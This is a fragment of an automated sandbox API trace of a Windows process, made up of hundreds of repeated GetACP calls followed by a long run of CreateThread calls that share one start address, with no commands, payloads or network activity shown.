returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.116] GetACP () returned 0x4e4 [0113.117] GetACP () returned 0x4e4 [0113.117] GetACP () returned 0x4e4 [0113.117] GetACP () returned 0x4e4 [0113.117] GetACP () returned 0x4e4 [0113.117] GetACP () returned 0x4e4 [0113.117] GetACP () returned 0x4e4 [0113.117] GetACP () returned 0x4e4 [0113.127] GetACP () returned 0x4e4 [0113.146] GetACP () returned 0x4e4 [0113.242] GetACP () returned 0x4e4 [0113.335] GetACP () returned 0x4e4 [0113.362] GetACP () returned 0x4e4 [0113.409] GetACP () returned 0x4e4 [0113.598] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.612] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.613] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.614] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.615] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.616] GetACP () returned 0x4e4 [0113.617] GetACP () returned 0x4e4 [0113.617] GetACP () returned 0x4e4 [0113.628] GetACP () returned 0x4e4 [0113.659] GetACP () returned 0x4e4 [0113.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb6c) returned 0x1f0 [0113.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xeb0) returned 0x1f4 [0113.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfa4) returned 0x1f8 [0113.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xa84) returned 0x1fc [0113.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfa0) returned 0x200 [0113.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf9c) returned 0x204 [0113.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf88) returned 0x208 [0113.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf80) returned 0x20c [0113.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcc8) returned 0x210 [0113.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xee4) returned 0x214 [0113.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x390) returned 0x218 [0113.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf68) returned 0x21c [0113.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4a8) returned 0x220 [0113.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4a4) returned 0x224 [0113.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xeac) returned 0x228 [0113.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xeb4) returned 0x22c [0113.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xed0) returned 0x230 [0113.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xebc) returned 0x234 [0113.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xed8) returned 0x238 [0113.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfec) returned 0x23c [0113.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf0) returned 0x240 [0113.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd90) returned 0x244 [0113.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd7c) returned 0x248 [0113.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb64) returned 0x24c [0113.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4a0) returned 0x250 [0113.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb08) returned 0x254 [0113.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xda4) returned 0x258 [0113.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xee8) returned 0x25c [0113.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xa78) returned 0x260 [0113.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe7c) returned 0x264 [0113.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf58) returned 0x268 [0113.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd78) returned 0x26c [0113.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xeec) returned 0x270 [0113.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb98) returned 0x274 [0113.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcbc) returned 0x278 [0113.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x15c) returned 0x27c [0113.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe3c) returned 0x280 [0113.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf54) returned 0x284 [0113.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfb4) returned 0x288 [0113.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xef0) returned 0x28c [0113.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc70) returned 0x290 [0113.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xa98) returned 0x294 [0113.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x8f0) returned 0x298 [0113.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf7c) returned 0x29c [0113.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf64) returned 0x2a0 [0113.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf08) returned 0x2a4 [0113.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xaf0) returned 0x2a8 [0113.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xca0) returned 0x2ac [0113.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x540) returned 0x2b0 [0113.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf44) returned 0x2b4 [0113.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcc4) returned 0x2b8 [0113.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe90) returned 0x2bc [0113.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf38) returned 0x2c0 [0113.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x368) returned 0x2c4 [0113.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xea0) returned 0x2c8 [0113.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xec8) returned 0x2cc [0113.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe60) returned 0x2d0 [0113.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe0) returned 0x2d4 [0113.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf00) returned 0x2d8 [0113.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xef8) returned 0x2dc [0113.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xdfc) returned 0x2e0 [0113.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x39c) returned 0x2e4 [0113.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe5c) returned 0x2e8 [0113.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4d8) returned 0x2ec [0113.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x36c) returned 0x2f0 [0113.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4ac) returned 0x2f4 [0113.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x4bc) returned 0x2f8 [0113.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x9e4) returned 0x2fc [0113.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x7bc) returned 0x300 [0113.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd00) returned 0x304 [0113.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xce4) returned 0x308 [0113.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xac8) returned 0x30c [0113.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xce0) returned 0x310 [0113.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 